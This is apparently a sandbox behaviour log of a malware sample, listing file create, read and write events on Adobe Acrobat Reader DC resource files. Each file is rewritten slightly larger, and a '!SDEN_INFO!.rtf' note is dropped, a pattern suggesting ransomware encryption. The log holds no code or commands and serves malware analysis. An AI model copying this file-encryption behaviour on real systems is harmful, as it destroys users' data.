File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\sv-se\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\sv-se\PlayStore_icon.svg, size = 6196, size_out = 6196	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\sv-se\PlayStore_icon.svg, size = 7612	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\organize-pages.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\organize-pages.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\organize-pages.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\organize-pages.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr_2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr_2x.gif, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr_2x.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr_2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr_2x.gif, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr_2x.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\upsell.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\upsell.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\upsell.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\upsell.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\upsell.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\de-de\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\de-de\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\de-de\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hu-hu\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hu-hu\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hu-hu\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ru-ru\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ru-ru\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ru-ru\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\selector.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\tr-tr\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\tr-tr\!SDEN_INFO!.rtf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\example_icons2x.png, size = 1185, size_out = 1185	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\example_icons2x.png, size = 2601	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\it-it\ui-strings.js, size = 1127, size_out = 1127	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\it-it\ui-strings.js, size = 2543	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\plugins\rhp\pages-app-tool-view.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\plugins\rhp\pages-app-tool-view.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\plugins\rhp\pages-app-tool-view.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\plugins\rhp\pages-app-tool-view.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\eu-es\ui-strings.js, size = 913, size_out = 913	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\eu-es\ui-strings.js, size = 2329	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\nl-nl\ui-strings.js, size = 917, size_out = 917	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\nl-nl\ui-strings.js, size = 2333	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ui-strings.js, size = 1215, size_out = 1215	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ui-strings.js, size = 2631	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_de_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_de_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_de_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_de_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pl_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pl_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pl_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_pl_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\af_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\af_get.svg, size = 5904, size_out = 5904	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\af_get.svg, size = 7320	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\en_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\en_get.svg, size = 5611, size_out = 5611	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\en_get.svg, size = 7027	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ko_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ko_get.svg, size = 5756, size_out = 5756	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ko_get.svg, size = 7172	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ru_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ru_get.svg, size = 6413, size_out = 6413	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ru_get.svg, size = 7829	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\playstore.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\playstore.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\playstore.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\playstore.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\playstore.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fr-fr\ui-strings.js, size = 1503, size_out = 1503	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fr-fr\ui-strings.js, size = 2919	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\pt-br\ui-strings.js, size = 1440, size_out = 1440	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\pt-br\ui-strings.js, size = 2856	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\zh-cn\ui-strings.js, size = 1376, size_out = 1376	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\zh-cn\ui-strings.js, size = 2792	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\progress.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\progress.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\progress.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\progress.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\de-de\ui-strings.js, size = 7392, size_out = 7392	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\de-de\ui-strings.js, size = 8808	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\hr-hr\ui-strings.js, size = 6690, size_out = 6690	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\hr-hr\ui-strings.js, size = 8106	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\root\ui-strings.js, size = 6234, size_out = 6234	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\root\ui-strings.js, size = 7650	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\zh-tw\ui-strings.js, size = 6208, size_out = 6208	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\zh-tw\ui-strings.js, size = 7624	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dc_logo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dc_logo.png, size = 4124, size_out = 4124	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dc_logo.png, size = 5540	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\new_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\new_icons.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\new_icons.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\themes\dark\adobe_logo.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\themes\dark\adobe_logo.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\logo_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\logo_retina.png, size = 6955, size_out = 6955	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\logo_retina.png, size = 8371	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small.png, size = 289, size_out = 289	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\dd_arrow_small.png, size = 1705	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\dd_arrow_small.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\dd_arrow_small.png, size = 289, size_out = 289	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\dd_arrow_small.png, size = 1705	1	Fn Data
